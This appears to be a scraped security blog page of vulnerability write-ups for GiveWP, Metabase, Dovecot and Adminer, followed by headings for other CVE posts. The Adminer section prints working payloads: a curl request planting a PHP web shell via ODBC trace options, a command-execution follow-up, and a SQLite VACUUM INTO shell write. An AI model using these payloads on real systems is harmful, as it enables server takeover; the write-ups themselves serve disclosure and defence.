The three read sinks. The session getter (class-give-session.php), the session table read (class-give-db-sessions.php), and the donor wall (class-give-donor-wall.php) all now explicitly pass ['allowed_classes' => false]. The donor wall mattered most, since it was reachable by an anonymous visitor through the public [give_donor_wall] shortcode with no session cookie at all.
The gadget itself. ProviderForwarder::__call() now verifies the resolved provider implements the expected contract before calling it.
Meta writes. Donor and billing name meta now pass through sanitize_text_field() before being stored.
Existing damage. A SanitizeSerializedObjectPayloads migration walks usermeta, give_donormeta, give_donationmeta, and give_sessions, replacing any nested object with an empty string — cleaning up payloads planted before the update. Without this step, sites poisoned pre-patch would keep a live payload sitting in their database.

The unauthenticated registration issue (give_action=user_register still ignoring users_can_register) remains unresolved in 4.16.7.2. Since the object injection chain is now broken, this alone no longer leads to code execution — Patchstack treats it as a separate access-control issue rather than part of the patched RCE chain.

Mitigation

Update GiveWP to 4.16.7.2 or later immediately.
If a site may have been exposed before patching, a version bump alone isn't enough — verify the sanitization migration actually ran and that no residual serialized payloads remain in usermeta, give_donormeta, give_donationmeta, or give_sessions.
Even on sites with registration disabled, give_action=user_register stays reachable — consider blocking it separately with a WAF rule or access control if it's not needed.

CVE-2026-72898: Metabase Password Reset SQL Injection Deep Dive

GUIDANCE WHITE — Fri, 04 Sep 2026 00:25:49 +0000

Item	Detail
CVE ID	CVE-2026-72898
Affected Product	Metabase (open-source / enterprise BI tool)
Vulnerability Type	SQL Injection (CWE-89)
Auth Required	No (pre-auth)
Attack Vector	`POST /api/session/reset_password`
Severity	Critical (CVSS ~9.x)
Impact	Admin account takeover, full application DB exposure

Metabase is a BI platform that provides dashboards and a query builder. It's written in Clojure and assembles its SQL internally through a query-builder library called HoneySQL. This vulnerability comes from the password reset API taking values outside the fields the developers expected and letting them flow, unvalidated, all the way into the query builder.

Here's the one-line version:

If you slip one extra, undeclared field into the request body, that value gets used verbatim as part of the raw SQL string. Since the endpoint requires no authentication, a single request is enough for an attacker to reset the password of any user — including an admin — to whatever they choose.

Where the Bug Lives

The reset_password endpoint is designed to take an emailed token and a new password, then update that user's password. The intended flow looks like this:

User clicks "Forgot password"
Server generates a temporary token and emails it
User calls reset_password with the token + new password
Server looks up the user by the token, and updates only that user's password

The problem is step 4. Instead of anchoring the update to "the user looked up via the token," there was a code path where the server trusted whatever value showed up in the request body to decide which record to update. And because that value passed through HoneySQL's query builder unvalidated, it hit a spot where it was interpreted not as a bind parameter, but as a raw SQL expression.

Understanding It at the Source Level

Metabase's backend is Clojure, and request bodies are typically pulled apart with destructuring, something like:

(defn reset-password
  [{{:keys [token password]} :body}]
  ;; intended: only pull token and password out of the body
  ...)

This reads as "only take token and password from the request body." But in the vulnerable version, there was a path that also bound the entire body via :as body, and downstream logic mixed in code that read extra fields straight out of that body map:

(defn reset-password
  [{{:keys [token password] :as body} :body}]
  ;; some downstream helper reaches back into `body`
  ;; for a key that was never declared in :keys
  ...)

(Note: the snippets above are reconstructed to illustrate the mechanism based on public technical analysis — they are not a line-for-line copy of Metabase's actual source.)

Two things stand out here:

First, "only declared fields are read" wasn't actually enforced. Clojure's map destructuring is convenient, but binding the whole original map alongside it via :as body does nothing to stop some other piece of code from reaching into body for a key that was never declared. So even if the API spec only documents token and password, if the actual code references another key on body, that value survives and gets passed along.

Second, when that value landed in the :where clause of a HoneySQL query map, it passed through a spot where it was treated as a raw SQL fragment instead of a bind parameter. HoneySQL is safe by default — ordinary values get auto-bound to ? placeholders. But somewhere in the codebase, this value either got wrapped in something like [:raw ...] (or an equivalent helper that treats a string as literal SQL), or passed through a dynamic condition-building utility that carried the incorrect assumption that "this value is already safe SQL." The result: an attacker-supplied string gets executed as part of the actual SQL syntax.

To summarize the attack conditions:

Request body validation worked by pulling out whatever key happened to be present, rather than enforcing a whitelist of allowed keys.
The value pulled out was treated as code, not data, at the point the query string was assembled.

Put those two together on an endpoint with no authentication at all, and you get SQL injection.

The Attack, From the Attacker's Side

No special prerequisites needed — just network access to a Metabase instance.

Confirm the normal reset_password request shape (token, password)
Add an extra, undeclared key (e.g., one that functions as a user identifier)
The server accepts this extra key without validation and hands it to the query builder
The value gets interpreted as a raw SQL fragment, tampering with the query that decides whose password gets updated
The password of whatever user the attacker specified — including an admin account — gets changed to a value the attacker controls
The attacker logs in normally with that account and has full admin access

Once you have admin, you can read credentials for connected data sources, view every piece of data exposed in dashboards, change settings, and create new admin accounts or API keys — effectively full takeover of the instance.

Why This One's Nasty

Typical SQL injection shows up somewhere visible — a login form, a search box, some spot where "user input clearly goes into a query." This case is different:

Looking only at the documented parameters (token, password), there's nothing to suggest a vulnerability. The actual bug lived in a field that was never documented — one the developers never explicitly declared as something the endpoint accepts.
Even a query builder that's "designed to be safe," like Clojure/HoneySQL, loses that safety the moment a value passes through even one helper function that treats it as raw SQL.
Because the endpoint requires no authentication, a successful exploit skips privilege escalation entirely and lands directly on admin access.

The Fix

Two principles were applied together in the patched version:

Enforce the input schema as a whitelist. Anything outside the explicitly allowed keys (token, password) now gets dropped at the destructuring step itself, and the path that let code reach back into the full original map via :as body was removed entirely.
Pin the update target to a server-side lookup, not client input. The user is now looked up by the token first, and only that lookup result's id is used as the update target — removing any way for the client to specify the update target itself.

Detection and Response Notes

Check WAF or reverse-proxy logs for /api/session/reset_password requests whose body contains keys beyond token and password.
Cross-reference admin password-change history, new account creation, and API key issuance around the relevant time window.
Until you can upgrade to the patched version, adding an extra layer of request-body schema validation (rejecting anything outside the allowed keys) at the reverse-proxy level can serve as a stopgap mitigation for the reset_password endpoint.

CVE-2026-24031 Analysis — Dovecot SQL-Based Authentication Bypass (an auth_username_chars Regression)

GUIDANCE WHITE — Wed, 02 Sep 2026 07:41:58 +0000

1. Overview

Item	Detail
CVE ID	CVE-2026-24031
Component	Dovecot Core (SQL passdb/userdb authentication)
Vulnerability class	CWE-89 (SQL Injection)
CVSS 3.1	7.7 (High) — `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L`
Affected versions	OX Dovecot CE core 2.4.0–2.4.2, OX Dovecot Pro core 3.1.0–3.1.3
Fixed in	CE core 2.4.3, Pro core 3.1.4
Internal tracking ID	DOV-8781
Discovery / disclosure	2026-02-23 / 2026-03-27
Discoverer	whisperer (YesWeHack)

Dovecot's official security advisory (OXDC-2026-0001) summarizes it in one line:

Dovecot SQL based authentication can be bypassed when auth_username_chars is cleared by admin. This vulnerability allows bypassing authentication for any user and user enumeration.

Read at face value it sounds like a pure configuration mistake, but the actual root cause is a regression introduced during the 2.4 settings-system refactor, where an explicitly-requested SQL escape function is silently discarded. auth_username_chars being cleared is only the precondition that lets the bug get triggered in practice.

This post is based on a direct clone of the dovecot/core repository, comparing the vulnerable (2.4.2) and patched (2.4.3) source to trace the actual root cause.

2. Background — what auth_username_chars actually does

Dovecot reuses the username a client supplies at login in several places — SQL/LDAP queries, file paths (%u, %n, %d variable substitution), and more. auth_username_chars is the first line of defense against dangerous characters ending up in those places.

Default value in src/auth/auth-settings.c:

.username_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@",

By default only letters, digits, and . - _ @ are allowed. SQL metacharacters like a single quote (') or semicolon are not part of the whitelist at all.

That string is converted into a 256-byte bitmap (username_chars_map) with a special case worth noting:

src/auth/auth-settings.c (around lines 623–630):

if (*set->username_chars == '\0') {
    /* all chars are allowed */
    memset(set->username_chars_map, 1,
           sizeof(set->username_chars_map));
} else {
    for (p = set->username_chars; *p != '\0'; p++)
        set->username_chars_map[(int)(uint8_t)*p] = 1;
}

In other words, setting auth_username_chars to an empty string doesn't mean "no characters allowed" — it means the exact opposite: "allow every byte (0x00–0xFF)." Admins sometimes clear this setting in practice to support wide/unicode usernames, and the moment they do, the first-line filter against SQL metacharacters disappears completely.

The actual filtering happens where auth_request_fix_username() in src/auth/auth-request-fields.c checks that map:

for (p = (unsigned char *)user; *p != '\0'; p++) {
    if (set->username_translation_map[*p & 0xff] != 0)
        *p = set->username_translation_map[*p & 0xff];
    if (set->username_chars_map[*p & 0xff] == 0) {
        *error_r = t_strdup_printf(
            "Username character disallowed by auth_username_chars: "
            "0x%02x (username: %s)", *p,
            str_sanitize(*username, 128));
        return -1;
    }
}

When username_chars_map is filled with 1s across the board, this check effectively rejects nothing. Up to this point we're still in "admin misconfiguration" territory. The real problem is what happens next.

3. How the SQL query gets built — passdb-sql.c

An SQL passdb builds its query string (e.g. SELECT username, password FROM users WHERE username = '%u') by expanding variables like %u (username) inside the configured passdb_sql_query template. To prevent SQL injection, the substituted value must always go through SQL escaping.

src/auth/passdb-sql.c:

static int passdb_sql_escape(const char *str, const char **output_r,
                             void *context, const char **error_r)
{
    struct sql_db *db = context;
    return sql_escape_string(db, str, output_r, error_r);
}

static void sql_lookup_pass(struct passdb_sql_request *sql_request)
{
    ...
    const struct settings_get_params params = {
        .escape_func = passdb_sql_escape,
        .escape_context = module->db,
    };
    if (settings_get_params(authdb_event(sql_request->auth_request),
                            &passdb_sql_setting_parser_info, &params,
                            &set, &error) < 0) {
        ...
    }

    e_debug(authdb_event(sql_request->auth_request),
        "query: %s", set->query);

    auth_request_ref(sql_request->auth_request);
    sql_query(module->db, set->query, sql_query_callback, sql_request);
    ...
}

At first glance this looks correct. settings_get_params() is called with an explicit escape_func = passdb_sql_escape, and that function calls the underlying DB driver's sql_escape_string() (MySQL/PostgreSQL/SQLite) to properly escape quotes and the like. settings.h even documents the contract:

struct settings_get_params {
    /* If non-NULL, all %variables are escaped with this function. */
    var_expand_escape_func_t *escape_func;
    ...
};

"If non-NULL, it is guaranteed to be used for escaping" — except that contract wasn't actually being honored.

4. The real root cause — an escape_func override bug in settings.c

The bug isn't in passdb-sql.c at all — it's one layer down, in settings_var_expand_init() inside src/lib-settings/settings.c. Dovecot's settings system can receive a var-expand escape function from two places:

The explicit escape_func a caller passes into settings_get_params() (e.g. passdb_sql_escape)
A default escape callback registered somewhere up the event hierarchy (init_ctx.escape_func)

The vulnerable 2.4.0–2.4.2 code unconditionally used option 2, no matter what the caller passed.

Patch commit 34fbd3956d diff (src/lib-settings/settings.c):

    ctx->var_params.tables_arr = array_front(&init_ctx.tables);
    ctx->var_params.providers_arr = array_front(&init_ctx.providers);
    ctx->var_params.contexts = array_front(&init_ctx.contexts);
-   ctx->var_params.escape_func = init_ctx.escape_func;
-   ctx->var_params.escape_context = init_ctx.escape_context;
+   if (ctx->escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx->var_params.escape_func = ctx->escape_func;
+       ctx->var_params.escape_context = ctx->escape_context;
+   } else {
+       ctx->var_params.escape_func = init_ctx.escape_func;
+       ctx->var_params.escape_context = init_ctx.escape_context;
+   }
    ctx->var_params.event = ctx->event;

So even though passdb-sql.c explicitly requests escape_func = passdb_sql_escape, the actual variable-substitution step silently discarded it and used whatever (unrelated, or absent) escape function the event chain happened to expose instead. The net effect: the username value substituted for %u could end up not escaped at all, or escaped incorrectly, for SQL.

This bug was introduced by the 2024 commit ef0c63b6 ("auth: passdb/userdb sql - Convert to new settings"), a large refactor that moved SQL passdb/userdb onto the new settings framework. The Dovecot developers themselves flag it in the commit log as a "v2.4 regression."

The same class of bug also produced a sibling CVE in the LDAP passdb (CVE-2026-27860, LDAP filter injection) — both trace back to the same settings_var_expand_init() defect.

5. Full attack chain

Two conditions have to line up for real exploitation:

Precondition A: An admin has set auth_username_chars to an empty string (disabling the character whitelist)
Root cause B: The settings_var_expand_init() bug that ignores passdb_sql_escape — present in every 2.4.0–2.4.2 / 3.1.0–3.1.3 install regardless of configuration

The CVSS vector's AC:H (high attack complexity) reflects the fact that condition A has to be true.

6. The actual fix (v2.4.3)

The core patch is the priority reordering inside settings_var_expand_init() shown above.

--- a/src/lib-settings/settings.c
+++ b/src/lib-settings/settings.c
@@ -1673,8 +1673,14 @@ settings_var_expand_init(struct settings_apply_ctx *ctx)
    ctx->var_params.tables_arr = array_front(&init_ctx.tables);
    ctx->var_params.providers_arr = array_front(&init_ctx.providers);
    ctx->var_params.contexts = array_front(&init_ctx.contexts);
-   ctx->var_params.escape_func = init_ctx.escape_func;
-   ctx->var_params.escape_context = init_ctx.escape_context;
+   if (ctx->escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx->var_params.escape_func = ctx->escape_func;
+       ctx->var_params.escape_context = ctx->escape_context;
+   } else {
+       ctx->var_params.escape_func = init_ctx.escape_func;
+       ctx->var_params.escape_context = init_ctx.escape_context;
+   }
    ctx->var_params.event = ctx->event;
 }

Now, when a caller of settings_get_params() explicitly supplies an escape_func (like passdb_sql_escape), that value takes priority; the event-chain default is only used as a fallback when the caller didn't specify one. This is what finally makes the escape functions passed by passdb-sql.c, userdb-sql.c, and db-ldap.c actually take effect.

A few related commits shipped alongside it, cleaning up the same pattern:

25c34e5084 — passdb sql - Fix escaping for set_credentials() (a missing-escape path in the OTP credential-update flow; not a separate CVE, but the same underlying pattern)
6a8f2daf15 — passdb/userdb ldap - Fix escaping ldap filter, base and bind_userdn (CVE-2026-27860, the LDAP counterpart of this exact bug)
74a6f1612e — Rewrite ldap_escape() with a unit test (regression-prevention hardening)

7. Detection and mitigation

Check the configuration

# check dovecot.conf or conf.d/*.conf
doveconf -n | grep auth_username_chars

An empty value (auth_username_chars =) is an immediate red flag. At minimum, restore it to something at or above the default whitelist (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@).
If unicode usernames are genuinely required, don't remove the restriction entirely — build an explicit whitelist that still excludes characters used in SQL injection (', ", ;, \, whitespace, etc.).

Apply the patch

CE core → 2.4.3 or later
Pro core → 3.1.4 or later

Log-based detection

With auth_debug = yes enabled, check the query: ... debug line emitted by passdb-sql.c for usernames containing abnormal quote or comment patterns (--, #, /*).

e_debug(authdb_event(sql_request->auth_request), "query: %s", set->query);

Operational and network controls

Apply rate limiting on authentication endpoints, since response-time or error-message differences could be leveraged for user enumeration.
On the database side, if SQL query logging is enabled, add detection rules for abnormal WHERE-clause patterns in password_query/user_query.

CVE-2026-56705: Pre-Auth RCE in Adminer's MSSQL Driver

GUIDANCE WHITE — Mon, 31 Aug 2026 22:39:45 +0000

Overview

CVE ID: CVE-2026-56705
Target: Adminer (vrana/adminer), current stable adminer-5.4.2.php
CVSS: 9.8 (Critical)
Attack requirement: None — pre-authentication, over the network
Precondition: pdo_sqlsrv extension + Microsoft ODBC Driver for SQL Server installed
Impact: Remote Code Execution
Discovery: Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026

Adminer ships as a single PHP file that gets dropped straight into a web root. That convenience is also why it's such a common target: a login page sitting on the internet, indexed and scannable. This vulnerability lets an attacker drop arbitrary PHP into that same web root even when the login attempt itself fails.

Where the bug lives

Adminer takes driver, server, username, and password from the login form and hands them directly to each database driver's attach() function. Here's the MSSQL driver:

adminer/drivers/mssql.inc.php:185

if (extension_loaded("pdo_sqlsrv")) {
    class Db extends MssqlDb {
        public $extension = "PDO_SQLSRV";

        function attach(string $server, string $username, string $password): string {
            list($host, $port) = host_port($server);
            return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
        }
    }
}

Two things go wrong here:

$host is concatenated into the DSN string with zero escaping.
host_port() only strips anything for the IPv6 bracket form ([::1]:1433) — everything else passes through untouched.

include/functions.inc.php:851

function host_port(string $server) {
    return (preg_match('~^(\[(.+)]|([^:]+)):([^:]+)$~', $server, $match)
        ? array($match[2] . $match[3], $match[4])
        : array($server, '')
    );
}

Any input that doesn't match this pattern — which includes anything shaped like IP;option=value — falls through the regex and comes back exactly as submitted. So whatever an attacker types into the login form's server field lands, character for character, inside the DSN.

Why a single semicolon is enough

ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the server field and everything after it is parsed as a brand-new DSN option.

The two options that matter here are TraceFile and TraceOn. Turning them on makes the ODBC driver log the connection attempt itself to a file at the given path — regardless of whether the connection succeeds. And that log includes the full connection string, including the UID={...} field, which is populated straight from the username field on the login form.

That gives an attacker control over three things:

TraceFile → the path and filename of the log file (shell.php)
TraceOn=1 → turns tracing on
username → injects PHP code into the UID={...} field inside that log

The full payload, from attach() to PDO

dsn() calls new \PDO($dsn, $username, $password, $options) directly, in pdo.inc.php:13:

function dsn(string $dsn, string $username, string $password, array $options = array()): string {
    $options[\PDO::ATTR_ERRMODE] = \PDO::ERRMODE_SILENT;
    $options[\PDO::ATTR_STATEMENT_CLASS] = array('Adminer\PdoResult');
    try {
        $this->pdo = new \PDO($dsn, $username, $password, $options);
    } catch (\Exception $ex) {
        return $ex->getMessage();
    }
    ...
}

So the entire chain — login form → attach() → dsn() → new PDO() — never once escapes or validates the input.

The actual request looks like this:

curl "http://target.tld/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

When this hits the server, Adminer builds this DSN and hands it to PDO:

sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1

The ODBC driver opens shell.php, writes the connection metadata into it (our PHP payload sitting inside UID={...}), then attempts to connect to 127.0.0.1 and fails. The failure doesn't matter — shell.php already exists next to adminer.php.

One more request finishes the job:

curl "http://target.tld/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Here's the full attack flow:

Why this is severe (the technical factors)

Pre-auth: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.
Timing of the write: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic — so there's no application-level checkpoint that could intercept it.
Precondition: pdo_sqlsrv plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.
Writable web root: the default in a lot of containerized PHP deployments.

The same shape exists in the sibling pdo_dblib branch (mssql.inc.php:195, DSN template dblib:charset=utf8;host=$host) — the original report notes they didn't have a reachable dblib install to confirm a working gadget there, but the code path is identical.

A related case: bypassing the SQLite blocklist

A third issue reported alongside this one, in the same codebase, follows a similar shape and is worth a quick look. Adminer already knows that ATTACH DATABASE 'shell.php' is a classic SQLite-to-PHP-shell primitive, so it blocks it:

adminer/sql.inc.php:121

if (JUSH == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    echo "<p class='error'>" . lang('ATTACH queries are not supported.') . "\n";
}

The problem: VACUUM INTO 'path', available since SQLite 3.27.0, does almost exactly the same thing — it writes the current database out to an arbitrary path with an arbitrary extension. The blocklist regex only matches queries starting with ATTACH, so a query starting with VACUUM sails right through.

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The table name carries the PHP payload, and VACUUM INTO dumps the whole database into a .php file. PHP's parser finds the <?php ... ?> block sitting in the middle of the binary SQLite content and executes it. This path requires authentication, so it's less severe than the MSSQL bug, but SQLite-backed Adminer instances are often left with default or empty credentials — so the practical risk is still meaningful.

The common root cause

All three issues share the same pattern:

User input is passed to a downstream system (ODBC, a version-string regex, a SQL blocklist) with no trust boundary in between.
A partial-match regex, on failure, returns the raw input instead of a safe default.
Blocklist-based defenses don't keep up with new syntax (like VACUUM INTO).

host_port() returning the original string when its regex doesn't match, the SQLite blocklist only catching ATTACH\b, and (in a related XSS bug in the same audit) a version-string regex falling back to the raw value on a failed match — all three bugs share the exact same failure mode: match failure means the input passes through unmodified.

DEV Community: GUIDANCE WHITE

CVE-2026-8932: curl/libcurl mTLS Connection Reuse Vulnerability

Overview

Root Cause — A Struct Split in Two

Attack Scenario

The Patch

Impact and Remediation

CVE-2026–17633 - Authenticated RCE in Langflow OSS via /api/v1/custom_component

Summary

Root Cause - Source-Level Analysis

1.1 The vulnerable endpoint

1.2 The actual bug lives in prepare_global_scope()

Exploit Chain

Why the Scanner Didn't Catch This

Patch and Mitigation

CVE-2026-42559: DNS Rebinding in rmcp's Streamable HTTP Server Transport

Overview

How DNS rebinding works here

Before the patch: what was missing

After the patch: reading the actual source

1) A secure default: StreamableHttpServerConfig

2) Enforcement at the entry point

3) Parsing the Host header — parse_host_header

4) Normalizing the host — case and IPv6 brackets

5) Allowlist matching — host_is_allowed

6) The gate itself — validate_dns_rebinding_headers

7) Origin validation — defense-in-depth

Remediation

CVE-2026-16723: Pre-Auth RCE in Fastjson 1.x via the @JSONType Trust Branch

Overview

1. The attack chain, end to end

2. Why six rounds of hardening still missed this

3. Source-level walkthrough

3.1 Gate 3 — the @JSONType detection branch (the actual bug)

3.2 Gate 4 — TypeUtils.loadClass() and <clinit>

3.3 Integer-IP encoding — surviving the . → / transform

3.4 Why jar:http:// even works — Spring Boot's LaunchedURLClassLoader

4. Mitigations

5. Detection signatures

CVE-2026-85706 Deep Dive — GitLab Repository Commits API Auth Bypass Leads to Unauthenticated Arbitrary File Read (CVSS 10.0)

Overview

Background — GitLab's request pipeline

Root cause — a percent-decoding differential

Source-level analysis — how this reaches unauthenticated file reads

1) require_gitlab_workhorse! is not authentication

2) file_params_from_body_upload trusts client input directly

3) Leaking content through an error message

4) An alternate trigger — the Repository Files API

PoC

Patch analysis — what changed in 19.3.2

When Authorization Runs Too Late: RCE via Insecure Deserialization in Feast (CVE-2026-56121)

1. The core issue — execution order

2. Source-level analysis

2-1. Entry point — registry_server.py

2-2. What is an OnDemandFeatureView?

2-3. The real sink — dill.loads()

2-4. Why code executes exactly here — __reduce__

2-5. A minimal attack payload

2-6. Why authentication doesn't save you

3. Full attack flow diagram

4. Patch analysis (0.63.0)

5. Two takeaways worth internalizing

CVE-2026-12243 — How a Percent-Encoded Slash Bypasses NLTK's Path Traversal Guard

Why it happened — the gap in the earlier fix (Issue #3504)

Three payloads, two different outcomes

There was a second layer of defense — but it isn't enforced by default

Who's affected

The fix in 3.10.0

What to do about it

CVE-2026-60004 — RCE in Gitea via diffpatch Git Hook Injection

1. Three ordinary behaviors, one dangerous combination

2. The vulnerable code

3. Full attack flow

4. Impact

5. Mitigation

6. Wrap-up

CVE-2026-82222 Deep Dive — Unauthenticated PHP Object Injection to RCE in GiveWP (CVSS 10.0)

Overview

1. The "safe" unserialize helper isn't safe

2. How attacker data reaches the helper

1.2 The actual bug lives in `prepare_global_scope()`

1) A secure default: `StreamableHttpServerConfig`

3) Parsing the `Host` header — `parse_host_header`

5) Allowlist matching — `host_is_allowed`

6) The gate itself — `validate_dns_rebinding_headers`

7) `Origin` validation — defense-in-depth

3.1 Gate 3 — the `@JSONType` detection branch (the actual bug)

3.2 Gate 4 — `TypeUtils.loadClass()` and `<clinit>`

3.3 Integer-IP encoding — surviving the `.` → `/` transform

3.4 Why `jar:http://` even works — Spring Boot's `LaunchedURLClassLoader`

1) `require_gitlab_workhorse!` is not authentication

2) `file_params_from_body_upload` trusts client input directly

2-1. Entry point — `registry_server.py`

2-2. What is an `OnDemandFeatureView`?

2-3. The real sink — `dill.loads()`

2-4. Why code executes exactly here — `reduce`